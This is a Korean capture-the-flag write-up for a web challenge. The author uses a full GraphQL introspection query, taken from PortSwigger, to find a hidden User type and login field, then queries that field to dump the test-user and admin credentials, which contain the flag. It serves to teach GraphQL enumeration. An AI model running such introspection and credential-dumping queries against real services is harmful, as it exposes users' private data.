문제 개요

들어가면 두 가지 링크가 나오고

들어가면 이런 식으로 문구와 그림이 나온다.
목표도 모른다. 뭔가 얻을 게 있겠지.
풀이
접근 방식
<script>
function getQueryVar(variable) {
var query = window.location.search.substring(1);
var vars = query.split('&');
for (var i = 0; i < vars.length; i++) {
var pair = vars[i].split('=');
if (decodeURIComponent(pair[0]) == variable) {
return decodeURIComponent(pair[1]);
}
}
}
if(!getQueryVar("no")){
q = `query{
view{
no,
subject
}
}`;
xhr = new XMLHttpRequest();
xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false);
xhr.send();
res = JSON.parse(xhr.response);
for(i=0;i<res.data.view.length;i++){
board.innerHTML += `<a href=/?no=${res.data.view[i].no}>${res.data.view[i].subject}</a><br>`;
}
}
else{
q = `query{
view{
no,
subject,
content
}
}`;
xhr = new XMLHttpRequest();
xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false);
xhr.send();
res = JSON.parse(xhr.response);
v = res.data.view;
try{
parsed = v.find(v => v.no==getQueryVar("no"));
board.innerHTML = `<h2>${parsed.subject}</h2><br><br>${parsed.content}`;
}
catch{
board.innerHTML = `<h2>???</h2><br><br>404 Not Found.`;
}
}
</script>
메인 페이지 스크립트다. no라는 파라미터가 없으면 처음 봤던 것처럼 링크를 띄워주고, 있으면 어떤 query를 통해 가져온 데이터를 띄워준다. query의 처리는 view.php에서 이루어진다. (처음 보는 query였다.)

위에서 제시된 query의 결과가 우측의 응답이다. 이후에 메인 페이지의 no 값에 따라 우측의 결과 중 하나를 가져온다. 문법이고 뭐고 알고 있는 것이 없으니 쿼리를 조금씩 건드려가며 쿼리 구조를 알아보고 있던 찰나

오류가 뜨는 것을 발견했다. 이건 GraphQL이다. GraphQL은 Facebook에서 만든 api용 쿼리 언어인데, 특징으로는 클라이언트가 필요한 데이터 구조를 지정할 수 있고, 서버는 클라이언트가 지정한 구조 그대로 데이터를 반환한다는 점이 있다. 위의 경우는 쿼리 구조가 잘못되어 발생한 오류다.
공격 시나리오
공격 payload는 portswigger를 참고했다.
https://portswigger.net/web-security/graphql
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
GraphQL의 스키마에 대한 정보를 알아내는 query다. 대신 query 구조가 너무 복잡해지므로, query를 조금씩 떼서 시도해보았다.

알 수 없는 무언가가 여러 가지 나왔다. 대신 아까 위에서 발생시킨 오류를 참고로 Board라는 이름을 가진 구조가 존재한다는 것을 확인할 수 있었고, 추측하건대 SQL의 table에 해당하는 역할을 하고 있는 것으로 예상된다. 대신 실제로 table에 해당하는 지는 알 수 없고, 단지 Board라는 이름의 type으로 어떤 데이터가 모여있다는 것만 알 수 있다.

여기서 types 안에 fields라는 내용을 추가했을 때의 결과다. Board라는 type에 no, subject, content라는 이름의 field가 존재한다는 것을 확인할 수 있었다. SQL의 column 역할을 하고있는 것으로 예상할 수 있다. (마찬가지로 구조상 그런 역할만 수행하고 있다는 뜻이다.)
그런데 결과중에 이상한 값을 확인할 수 있었다.
{
"name":"User_d51e7f78cbb219316e0b7cfe1a64540a",
"fields":[
{
"name":"userid_a7fce99fa52d173843130a9620a787ce"
},
{
"name":"passwd_e31db968948082b92e60411dd15a25cd"
}
]
}
애초에 로그인 기능 자체가 구현되어있지 않은 문제인데 회원정보에 관한 데이터가 저장되어 있었다. 이걸 확인해보면 뭔가가 나올 것 같았다.
처음의 쿼리였던 query{view{no, subject, content}}를 기준으로 view{...} 괄호 안쪽은 fields 값들이 들어갈 것이다.

물론 이거로는 안된다. User_d51e7f78cbb219316e0b7cfe1a64540a type에 query가 들어가야 하는데 Board에 들어가고 있다. 그렇다면 view가 뭔가 다른 의미가 있어서 이를 바꿔야하는 것 같다.
아까의 쿼리 결과를 확인해보면 Query라는 type의 field에 view라는 값이 있었다.

여기에서 field는 view와 login_51b48f6f7e6947fba0a88a7147d54152이 존재한다. 그렇다면 기존의 view 자리에 login_51b48f6f7e6947fba0a88a7147d54152을 넣으면 뭔가 나올 것 같다.

test-user의 정보와 admin의 정보가 노출되었고, admin의 비밀번호에서 flag를 찾을 수 있었다.